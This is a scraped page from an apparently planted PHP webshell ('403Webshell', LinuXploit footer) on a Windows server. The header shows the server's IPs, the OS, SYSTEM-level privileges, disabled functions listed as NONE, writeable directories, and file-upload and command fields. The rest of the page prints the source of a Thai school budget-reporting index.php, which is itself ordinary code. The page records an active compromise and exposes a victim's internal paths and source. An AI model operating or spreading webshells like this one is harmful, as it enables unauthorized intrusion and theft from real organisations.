403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/school_budget/school/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/school_budget/school/index.php
<?php
include '../template/header.php';

// ฟังก์ชันสำหรับแปลงวันที่เป็นรูปแบบไทยประจำไฟล์
function thai_date_short_format($date_str) {
    if (empty($date_str) || $date_str == '0000-00-00') return '-';
    $thai_short_months = [1=>'ม.ค.', 2=>'ก.พ.', 3=>'มี.ค.', 4=>'เม.ย.', 5=>'พ.ค.', 6=>'มิ.ย.', 7=>'ก.ค.', 8=>'ส.ค.', 9=>'ก.ย.', 10=>'ต.ค.', 11=>'พ.ย.', 12=>'ธ.ค.'];
    $timestamp = strtotime($date_str);
    $day = date('j', $timestamp);
    $month = $thai_short_months[date('n', $timestamp)];
    $year = (date('Y', $timestamp) + 543);
    return "$day $month $year";
}

// ตรวจสอบความปลอดภัยในการเข้าถึงสิทธิ์ใช้งาน
if (!isset($_SESSION['user_id']) || $_SESSION['role'] != 'school') {
    header("Location: ../login.php");
    exit();
}

// ดึงรหัสโรงเรียน และแปลงค่าเป็น Integer ป้องกัน SQL Injection
$school_id = isset($_SESSION['school_id']) ? (int)$_SESSION['school_id'] : 0;

// ระบบป้องกันความปลอดภัยข้อมูล: หากตรวจสอบแล้วพบว่ารหัสโรงเรียนเป็น 0 หรือว่างเปล่า จะสั่งให้หยุดทำงานทันที
if ($school_id <= 0) {
    echo "<div class='alert alert-warning text-center my-5 p-4 shadow-sm'>";
    echo "<h4 class='fw-bold text-danger'><i class='bi bi-exclamation-octagon-fill'></i> ไม่พบรหัสสถานศึกษาประจำบัญชีนี้</h4>";
    echo "<p class='mb-0 mt-2 text-muted'>ระบบไม่สามารถดึงข้อมูลงบประมาณได้เนื่องจาก Session ของคุณไม่ถูกต้อง กรุณาแจ้งผู้ดูแลระบบ หรือทดลองออกจากระบบแล้วเข้าใหม่อีกครั้ง</p>";
    echo "<a href='../logout.php' class='btn btn-danger mt-3 fw-bold'><i class='bi bi-box-arrow-right'></i> ออกจากระบบเพื่อลองใหม่</a>";
    echo "</div>";
    include '../template/footer.php';
    exit();
}

// --- รับค่าจากฟอร์มคัดกรองข้อมูล ---
$filter_type_id = isset($_GET['type_id']) ? mysqli_real_escape_string($conn, $_GET['type_id']) : '';
$filter_plan_id = isset($_GET['plan_id']) ? mysqli_real_escape_string($conn, $_GET['plan_id']) : '';
$filter_budget_year = isset($_GET['budget_year']) ? mysqli_real_escape_string($conn, $_GET['budget_year']) : '';
$filter_search = isset($_GET['search']) ? mysqli_real_escape_string($conn, $_GET['search']) : '';

// --- สร้างคำสั่งเงื่อนไข WHERE (บังคับล็อก school_id ของตนเองเป็นแกนหลักเสมอเพื่อป้องกันการเห็นของโรงเรียนอื่น) ---
$where_clauses = [];
$where_clauses[] = "a.school_id = $school_id";

if (!empty($filter_type_id)) {
    $where_clauses[] = "a.budget_type_id = '" . (int)$filter_type_id . "'";
}
if (!empty($filter_plan_id)) {
    $where_clauses[] = "a.plan_id = '" . (int)$filter_plan_id . "'";
}
if (!empty($filter_budget_year)) {
    $where_clauses[] = "a.budget_year = '" . (int)$filter_budget_year . "'";
}
if (!empty($filter_search)) {
    $where_clauses[] = "a.item_name LIKE '%$filter_search%'";
}

$where_sql = 'WHERE ' . implode(' AND ', $where_clauses);


// ==========================================
// 1. QUERY คำนวณสรุปยอดเงินบน Summary Cards (เฉพาะโรงเรียนตนเอง)
// ==========================================
$sql_summary = "
    SELECT 
        SUM(a.amount) as total_allocated,
        SUM(IFNULL((SELECT SUM(d.amount) FROM disbursements d WHERE d.allocation_id = a.id), 0)) as total_disbursed
    FROM allocations a
    $where_sql
";
$res_summary = mysqli_query($conn, $sql_summary);
$summary_data = mysqli_fetch_assoc($res_summary);

$school_allocated_total = isset($summary_data['total_allocated']) ? (float)$summary_data['total_allocated'] : 0;
$school_disbursed_total = isset($summary_data['total_disbursed']) ? (float)$summary_data['total_disbursed'] : 0;
$school_remaining_total = $school_allocated_total - $school_disbursed_total;
$school_percentage_total = ($school_allocated_total > 0) ? ($school_disbursed_total / $school_allocated_total) * 100 : 0;


// ==========================================
// 2. QUERY รายการงบประมาณลงตารางหลัก (ปรับปรุงให้เรียงจาก วันที่จัดสรร ล่าสุดขึ้นก่อน)
// ==========================================
$sql = "SELECT 
            a.id,
            a.school_id,
            a.budget_year,
            a.item_name,
            a.amount,
            a.allocation_date,
            bt.type_name, 
            p.plan_name,
            (SELECT SUM(d.amount) FROM disbursements d WHERE d.allocation_id = a.id) as total_disbursed
        FROM allocations a
        INNER JOIN budget_types bt ON a.budget_type_id = bt.id
        INNER JOIN plans p ON a.plan_id = p.id
        $where_sql
        ORDER BY a.allocation_date DESC, a.budget_year DESC";

$result = mysqli_query($conn, $sql);
?>

<div class="row mb-4">
    <div class="col-12">
        <div class="p-4 bg-white rounded shadow-sm border-start border-primary border-5">
            <h1 class="h3 mb-1 text-dark fw-bold"><i class="bi bi-wallet2 text-primary"></i> รายงานสถานะงบประมาณและการเบิกจ่าย</h1>
            <p class="text-muted small mb-0">ข้อมูลสรุปงบประมาณที่ได้รับการจัดสรรและการบันทึกทำรายการภายในสถานศึกษาของท่าน</p>
        </div>
    </div>
</div>

<div class="row g-3 mb-4">
    <div class="col-md-6 col-lg-3">
        <div class="card border-0 bg-primary text-white shadow-sm h-100">
            <div class="card-body p-3">
                <small class="text-uppercase fw-bold text-white-50">งบประมาณที่ได้รับจัดสรร</small>
                <h3 class="mb-0 fw-bold mt-2"><?php echo number_format($school_allocated_total, 2); ?> <span class="fs-6 fw-normal">บาท</span></h3>
            </div>
        </div>
    </div>
    <div class="col-md-6 col-lg-3">
        <div class="card border-0 bg-danger text-white shadow-sm h-100">
            <div class="card-body p-3">
                <small class="text-uppercase fw-bold text-white-50">บันทึกเบิกจ่ายแล้ว</small>
                <h3 class="mb-0 fw-bold mt-2"><?php echo number_format($school_disbursed_total, 2); ?> <span class="fs-6 fw-normal">บาท</span></h3>
            </div>
        </div>
    </div>
    <div class="col-md-6 col-lg-3">
        <div class="card border-0 bg-success text-white shadow-sm h-100">
            <div class="card-body p-3">
                <small class="text-uppercase fw-bold text-white-50">คงเหลือสุทธิ</small>
                <h3 class="mb-0 fw-bold mt-2"><?php echo number_format($school_remaining_total, 2); ?> <span class="fs-6 fw-normal">บาท</span></h3>
            </div>
        </div>
    </div>
    <div class="col-md-6 col-lg-3">
        <div class="card border-0 bg-warning text-dark shadow-sm h-100">
            <div class="card-body p-3">
                <small class="text-uppercase fw-bold text-black-50">ร้อยละการเบิกจ่ายสะสม</small>
                <h3 class="mb-0 fw-bold mt-2"><?php echo number_format($school_percentage_total, 2); ?>%</h3>
            </div>
        </div>
    </div>
</div>

<div class="card mb-4 shadow-sm border-0">
    <div class="card-header bg-white fw-bold text-dark py-3 border-bottom">
        <i class="bi bi-funnel-fill text-primary"></i> เครื่องมือกรองข้อมูลและสืบค้นโครงการ
    </div>
    <div class="card-body bg-light-subtle">
        <form method="get" action="index.php" class="row g-3 align-items-end">
            <div class="col-md-3">
                <label for="type_id" class="form-label fw-bold small text-secondary">ประเภทงบประมาณ</label>
                <select name="type_id" id="type_id" class="form-select" onchange="this.form.submit()">
                    <option value="">-- ทุกประเภท --</option>
                    <?php
                    $types_res = mysqli_query($conn, "SELECT id, type_name FROM budget_types ORDER BY type_name ASC");
                    while ($type = mysqli_fetch_assoc($types_res)) {
                        $selected = ($filter_type_id == $type['id']) ? 'selected' : '';
                        echo "<option value='{$type['id']}' $selected>" . htmlspecialchars($type['type_name']) . "</option>";
                    }
                    ?>
                </select>
            </div>
            <div class="col-md-3">
                <label for="plan_id" class="form-label fw-bold small text-secondary">แผนงาน</label>
                <select name="plan_id" id="plan_id" class="form-select" onchange="this.form.submit()">
                    <option value="">-- ทุกแผนงาน --</option>
                    <?php
                    $plans_res = mysqli_query($conn, "SELECT id, plan_name FROM plans ORDER BY plan_name ASC");
                    while ($plan = mysqli_fetch_assoc($plans_res)) {
                        $selected = ($filter_plan_id == $plan['id']) ? 'selected' : '';
                        echo "<option value='{$plan['id']}' $selected>" . htmlspecialchars($plan['plan_name']) . "</option>";
                    }
                    ?>
                </select>
            </div>
            <div class="col-md-2">
                <label for="budget_year" class="form-label fw-bold small text-secondary">ปีงบประมาณ</label>
                <select name="budget_year" id="budget_year" class="form-select" onchange="this.form.submit()">
                    <option value="">-- ทุกปีงบ --</option>
                    <?php
                    // แสดงปีงบประมาณที่มีข้อมูลอยู่จริงเฉพาะของโรงเรียนนี้เท่านั้น
                    $years_res = mysqli_query($conn, "SELECT DISTINCT budget_year FROM allocations WHERE school_id = $school_id ORDER BY budget_year DESC");
                    while ($yr = mysqli_fetch_assoc($years_res)) {
                        $selected = ($filter_budget_year == $yr['budget_year']) ? 'selected' : '';
                        echo "<option value='{$yr['budget_year']}' $selected>พ.ศ. {$yr['budget_year']}</option>";
                    }
                    ?>
                </select>
            </div>
            <div class="col-md-4">
                 <label for="search" class="form-label fw-bold small text-secondary">ค้นหาชื่อโครงการ</label>
                 <div class="input-group">
                    <input type="text" name="search" id="search" class="form-control" placeholder="พิมพ์คำค้นหา..." value="<?php echo htmlspecialchars($filter_search); ?>">
                    <button type="submit" class="btn btn-primary px-3"><i class="bi bi-search"></i> ค้นหา</button>
                    <a href="index.php" class="btn btn-outline-secondary" title="ล้างค่าการค้นหา"><i class="bi bi-arrow-clockwise"></i> ล้างค่า</a>
                 </div>
            </div>
        </form>
    </div>
</div>

<div class="card shadow-sm mb-5 border-0">
    <div class="card-body p-0">
        <div class="table-responsive">
            <table class="table table-striped table-hover align-middle mb-0">
                <thead class="table-dark">
                    <tr>
                        <th style="width: 5%;" class="text-center">ที่</th>
                        <th style="width: 8%;" class="text-center">ปีงบ</th>
                        <th style="width: 12%;" class="text-center">วันที่จัดสรร</th>
                        <th>รายการงบประมาณโครงการ / ประเภท / แผนงาน</th>
                        <th class="text-end" style="width: 13%;">ได้รับจัดสรร (บาท)</th>
                        <th class="text-end" style="width: 13%;">เบิกจ่ายแล้ว (บาท)</th>
                        <th class="text-end" style="width: 13%;">งบเหลือสุทธิ (บาท)</th>
                        <th class="text-center" style="width: 15%;">ร้อยละเบิกจ่าย</th>
                        <th class="text-center" style="width: 11%;">จัดการข้อมูล</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    if ($result && mysqli_num_rows($result) > 0) {
                        $no = 1; // ตัวแปรสำหรับนับลำดับคอลัมน์ "ที่"
                        while ($row = mysqli_fetch_assoc($result)) {
                            $total_disbursed = $row['total_disbursed'] ? (float)$row['total_disbursed'] : 0;
                            $remaining = $row['amount'] - $total_disbursed;
                            $percentage = ($row['amount'] > 0) ? ($total_disbursed / $row['amount']) * 100 : 0;
                    ?>
                        <tr>
                            <td class="text-center fw-bold text-secondary"><?php echo $no++; ?></td>
                            <td class="text-center text-secondary">พ.ศ. <?php echo htmlspecialchars($row['budget_year']); ?></td>
                            <td class="text-center text-muted small fw-bold"><?php echo thai_date_short_format($row['allocation_date']); ?></td>
                            <td>
                                <div class="fw-bold text-dark mb-1"><?php echo htmlspecialchars($row['item_name']); ?></div>
                                <span class="badge bg-primary-subtle text-primary-emphasis p-1 px-2 fw-normal small"><?php echo htmlspecialchars($row['type_name']); ?></span>
                                <span class="badge bg-secondary-subtle text-secondary-emphasis p-1 px-2 fw-normal small ms-1"><?php echo htmlspecialchars($row['plan_name']); ?></span>
                            </td>
                            <td class="text-end fw-bold text-primary"><?php echo number_format($row['amount'], 2); ?></td>
                            <td class="text-end text-danger fw-bold"><?php echo number_format($total_disbursed, 2); ?></td>
                            <td class="text-end text-success fw-bold"><?php echo number_format($remaining, 2); ?></td>
                            <td>
                                <div class="d-flex align-items-center justify-content-center">
                                    <div class="progress flex-grow-1" style="height: 14px;">
                                        <div class="progress-bar bg-info" role="progressbar" style="width: <?php echo $percentage; ?>%;"></div>
                                    </div>
                                    <span class="ms-2 fw-bold text-dark small" style="min-width: 45px; text-align: right;"><?php echo number_format($percentage, 1); ?>%</span>
                                </div>
                            </td>
                            <td class="text-center">
                                <a href="view_disbursements.php?id=<?php echo (int)$row['id']; ?>" class="btn btn-outline-primary btn-sm fw-bold px-2 py-1">
                                    <i class="bi bi-search"></i> ดู/เบิกจ่าย
                                </a>
                            </td>
                        </tr>
                    <?php
                        }
                    } else {
                        echo '<tr><td colspan="9" class="text-center text-muted py-5"><i class="bi bi-folder-x fs-2 d-block mb-2 text-secondary"></i> ไม่พบรายการโครงการงบประมาณที่จัดสรรของสถานศึกษาท่านในขณะนี้</td></tr>';
                    }
                    ?>
                </tbody>
            </table>
        </div>
    </div>
</div>

<?php include '../template/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit